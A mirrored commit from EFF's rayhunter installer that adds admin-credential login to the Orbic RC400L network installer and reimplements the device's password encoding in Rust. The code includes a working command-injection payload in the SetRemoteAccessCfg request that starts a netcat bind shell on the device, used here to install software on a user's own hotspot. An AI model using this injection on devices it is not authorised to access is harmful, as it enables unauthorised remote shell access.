mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-04-26 07:29:59 -07:00
Add --admin-password to orbic-network installer, update docs
Also add some more debug-logging to telnet_send_file since it appears to be janky on my device. see #599
This commit is contained in:
committed by
Cooper Quintin
parent
fa5c2bf5d1
commit
1a80a0576c
@@ -3,6 +3,7 @@ use clap::{Parser, Subcommand};
|
||||
use env_logger::Env;
|
||||
|
||||
mod orbic;
|
||||
mod orbic_auth;
|
||||
mod orbic_network;
|
||||
mod pinephone;
|
||||
mod tmobile;
|
||||
@@ -76,6 +77,14 @@ struct OrbicNetworkArgs {
|
||||
/// IP address for Orbic admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.1.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// Admin username for authentication.
|
||||
#[arg(long, default_value = "admin")]
|
||||
admin_username: String,
|
||||
|
||||
/// Admin password for authentication.
|
||||
#[arg(long)]
|
||||
admin_password: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> {
|
||||
Command::Pinephone(_) => pinephone::install().await
|
||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
@@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> {
|
||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
80
installer/src/orbic_auth.rs
Normal file
80
installer/src/orbic_auth.rs
Normal file
@@ -0,0 +1,80 @@
|
||||
use anyhow::{Context, Result};
|
||||
use base64_light::base64_encode;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Helper function to swap characters in a string
|
||||
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
|
||||
let mut chars: Vec<char> = s.chars().collect();
|
||||
if pos1 < chars.len() && pos2 < chars.len() {
|
||||
chars.swap(pos1, pos2);
|
||||
}
|
||||
chars.into_iter().collect()
|
||||
}
|
||||
|
||||
/// Apply character swapping based on secret (unchanged from original algorithm)
|
||||
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
|
||||
for i in 0..4 {
|
||||
let byte = (secret_num >> (i * 8)) & 0xff;
|
||||
let pos1 = (byte as usize) % text.len();
|
||||
let pos2 = i % text.len();
|
||||
text = swap_chars(&text, pos1, pos2);
|
||||
}
|
||||
text
|
||||
}
|
||||
|
||||
/// Encode password using Orbic's custom algorithm
|
||||
///
|
||||
/// This function is a lot simpler than the original JavaScript because it always uses the same
|
||||
/// character set regardless of "password type", and any randomly generated values are hardcoded.
|
||||
pub fn encode_password(
|
||||
password: &str,
|
||||
secret: &str,
|
||||
timestamp: &str,
|
||||
timestamp_start: u64,
|
||||
) -> Result<String> {
|
||||
let current_time = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
// MD5 hash the password and use fixed prefix "a7" instead of random chars
|
||||
let password_md5 = format!("{:x}", md5::compute(password));
|
||||
let mut spliced_password = format!("a7{}", password_md5);
|
||||
|
||||
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
|
||||
|
||||
spliced_password = apply_secret_swapping(spliced_password, secret_num);
|
||||
|
||||
let timestamp_hex =
|
||||
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
|
||||
let time_delta = format!(
|
||||
"{:x}",
|
||||
timestamp_hex + (current_time - timestamp_start) as u32
|
||||
);
|
||||
|
||||
// Use fixed hex "6137" instead of hex encoding of random values
|
||||
let message = format!("6137x{}:{}", time_delta, spliced_password);
|
||||
|
||||
let result = base64_encode(&message);
|
||||
let result = apply_secret_swapping(result, secret_num);
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct LoginRequest {
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginInfo {
|
||||
pub retcode: u32,
|
||||
#[serde(rename = "priKey")]
|
||||
pub pri_key: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginResponse {
|
||||
pub retcode: u32,
|
||||
}
|
||||
@@ -4,21 +4,11 @@ use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use axum::{
|
||||
Router,
|
||||
body::Body,
|
||||
extract::{Request, State},
|
||||
http::uri::Uri,
|
||||
response::{IntoResponse, Response},
|
||||
routing::any,
|
||||
};
|
||||
use hyper::StatusCode;
|
||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
@@ -27,16 +17,127 @@ struct ExploitResponse {
|
||||
retcode: u32,
|
||||
}
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
|
||||
println!("Waiting for login and trying exploit... ");
|
||||
login_and_exploit(admin_ip).await?;
|
||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
|
||||
// Step 1: Get login info (priKey and session cookie)
|
||||
let login_info_response = client
|
||||
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to get login info")?;
|
||||
|
||||
let session_cookie = login_info_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.context("No session cookie received")?
|
||||
.split(';')
|
||||
.next()
|
||||
.context("Invalid cookie format")?
|
||||
.to_string();
|
||||
|
||||
let login_info: LoginInfo = login_info_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login info")?;
|
||||
|
||||
if login_info.retcode != 0 {
|
||||
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
||||
}
|
||||
|
||||
// Parse priKey (format: "secret x timestamp")
|
||||
let mut parts = login_info.pri_key.split('x');
|
||||
let secret = parts.next().context("Missing secret in priKey")?;
|
||||
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
||||
if parts.next().is_some() {
|
||||
bail!("Invalid priKey format: {}", login_info.pri_key);
|
||||
}
|
||||
|
||||
// Step 2: Encode credentials
|
||||
let username_md5 = format!("{:x}", md5::compute(username));
|
||||
let timestamp_start = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
||||
.context("Failed to encode password")?;
|
||||
|
||||
let login_request = LoginRequest {
|
||||
username: username_md5,
|
||||
password: encoded_password,
|
||||
};
|
||||
|
||||
// Step 3: Perform login
|
||||
let login_response = client
|
||||
.post(format!("http://{}/goform/login", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", &session_cookie)
|
||||
.json(&login_request)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
// Extract authenticated session cookie from login response
|
||||
let authenticated_cookie = login_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
||||
.unwrap_or(session_cookie);
|
||||
|
||||
let login_result: LoginResponse = login_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login response")?;
|
||||
|
||||
if login_result.retcode != 0 {
|
||||
bail!("Login failed with retcode: {}", login_result.retcode);
|
||||
}
|
||||
|
||||
// Step 4: Exploit using authenticated session
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", authenticated_cookie)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await
|
||||
.context("failed to start telnet")?
|
||||
.json()
|
||||
.await
|
||||
.context("failed to start telnet")?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn start_telnet(
|
||||
admin_ip: &str,
|
||||
admin_username: &str,
|
||||
admin_password: &str,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn install(admin_ip: String) -> Result<()> {
|
||||
start_telnet(&admin_ip).await?;
|
||||
pub async fn install(
|
||||
admin_ip: String,
|
||||
admin_username: String,
|
||||
admin_password: String,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
echo!("Waiting for telnet to become available... ");
|
||||
wait_for_telnet(&admin_ip).await?;
|
||||
@@ -45,105 +146,6 @@ pub async fn install(admin_ip: String) -> Result<()> {
|
||||
setup_rayhunter(&admin_ip).await
|
||||
}
|
||||
|
||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ProxyState {
|
||||
client: HttpProxyClient,
|
||||
admin_ip: String,
|
||||
session_sender: mpsc::Sender<String>,
|
||||
}
|
||||
|
||||
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
|
||||
// Check for existing session cookie in request
|
||||
if let Some(cookie_header) = req.headers().get("cookie")
|
||||
&& let Ok(cookie_str) = cookie_header.to_str()
|
||||
&& cookie_str.contains("-goahead-session-")
|
||||
{
|
||||
let _ = state.session_sender.send(cookie_str.to_owned()).await;
|
||||
}
|
||||
|
||||
let path_query = req
|
||||
.uri()
|
||||
.path_and_query()
|
||||
.map(|v| v.as_str())
|
||||
.unwrap_or("/");
|
||||
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let response = state
|
||||
.client
|
||||
.request(req)
|
||||
.await
|
||||
.map_err(|_| StatusCode::BAD_REQUEST)?;
|
||||
Ok(response.into_response())
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
|
||||
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
let (tx, mut rx) = mpsc::channel(100);
|
||||
|
||||
let app = Router::new()
|
||||
.route("/", any(proxy_handler))
|
||||
.route("/{*path}", any(proxy_handler))
|
||||
.with_state(ProxyState {
|
||||
client,
|
||||
admin_ip: admin_ip.to_owned(),
|
||||
session_sender: tx,
|
||||
});
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
||||
.await
|
||||
.context("Failed to bind to port 4000")?;
|
||||
|
||||
println!(
|
||||
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
|
||||
);
|
||||
println!("Username: admin");
|
||||
println!(
|
||||
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
|
||||
);
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
let exploit_client = Client::new();
|
||||
|
||||
let mut last_error = None;
|
||||
|
||||
while let Some(cookie_header) = rx.recv().await {
|
||||
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
|
||||
Ok(_) => {
|
||||
handle.abort();
|
||||
return Ok(());
|
||||
}
|
||||
Err(e) => last_error = Some(e),
|
||||
}
|
||||
}
|
||||
|
||||
handle.abort();
|
||||
bail!("Failed to receive session cookie, last error: {last_error:?}")
|
||||
}
|
||||
|
||||
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", cookie_header)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await?
|
||||
.json()
|
||||
.await?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||
let timeout = Duration::from_secs(60);
|
||||
|
||||
@@ -18,12 +18,11 @@ macro_rules! echo {
|
||||
}
|
||||
pub(crate) use echo;
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
pub async fn telnet_send_command_with_output(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
) -> Result<String> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
@@ -69,9 +68,19 @@ pub async fn telnet_send_command(
|
||||
}
|
||||
})
|
||||
.await;
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
if !string.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {string}");
|
||||
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||
Ok(string)
|
||||
}
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||
if !output.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {output}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -83,17 +92,18 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
echo!("Sending file {filename} ... ");
|
||||
{
|
||||
let nc_output = {
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(
|
||||
telnet_send_command_with_output(
|
||||
addr,
|
||||
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||
"",
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await
|
||||
});
|
||||
// wait for nc to become available. if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
@@ -101,11 +111,22 @@ pub async fn telnet_send_file(
|
||||
{
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
// ensure that stream is dropped before we wait for nc to terminate!
|
||||
|
||||
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||
// terminating the connection. if we terminate the connection while there is unflushed
|
||||
// data, that data will just not be written from nc's buffer into OS disk buffer. the
|
||||
// symptom is mismatched md5 hashes.
|
||||
//
|
||||
// this is NOT fixed by calling fsync or similar, we're talking about dropped
|
||||
// application buffers here.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
// ensure that stream is dropped before we wait for nc to terminate.
|
||||
}
|
||||
|
||||
handle.await??;
|
||||
}
|
||||
handle.await??
|
||||
};
|
||||
|
||||
let checksum = md5::compute(payload);
|
||||
telnet_send_command(
|
||||
addr,
|
||||
@@ -113,7 +134,15 @@ pub async fn telnet_send_file(
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
.await
|
||||
.with_context(|| {
|
||||
format!(
|
||||
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
|
||||
nc_output.trim(),
|
||||
checksum
|
||||
)
|
||||
})?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
@@ -121,6 +150,7 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("ok");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user